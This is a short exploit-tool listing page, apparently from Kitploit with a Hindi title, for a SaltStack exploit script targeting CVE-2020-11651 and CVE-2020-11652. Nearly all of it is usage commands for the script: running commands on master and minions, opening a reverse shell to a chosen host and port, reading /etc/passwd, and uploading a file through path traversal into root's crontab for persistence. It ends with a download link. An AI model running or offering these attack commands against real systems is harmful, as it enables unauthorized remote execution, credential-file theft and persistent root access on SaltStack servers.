CVE-2020-11652 — SaltStack CVEs (CVE-2020-11651/11652) के लिए एक्सप्लॉइट जो मास्टर/मिनियन पर रिमोट कमांड निष्पादन, फ़ाइल पढ़ने/अपलोड करने और रिवर्स शेल सक्षम करता है। | Kitploit

SaltStack-Exp

CVE-2020-11651 CVE-2020-11652

Exec-Master:

python exp.py --exec-choose master --exec-cmd "whoami"

Exec-Minions:

python exp.py --exec-choose minions --exec-cmd "whoami"

GetShell:

python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444

ReadFile:

python exp.py --read /etc/passwd

UploadFile:

python exp.py --upload-src "/test/root" --upload-dest "../../../../../../../../var/spool/cron/crontabs/root"

से :https://github.com/bravery9/SaltStack-Exp

टूल डाउनलोड करें

CVE-2020-11652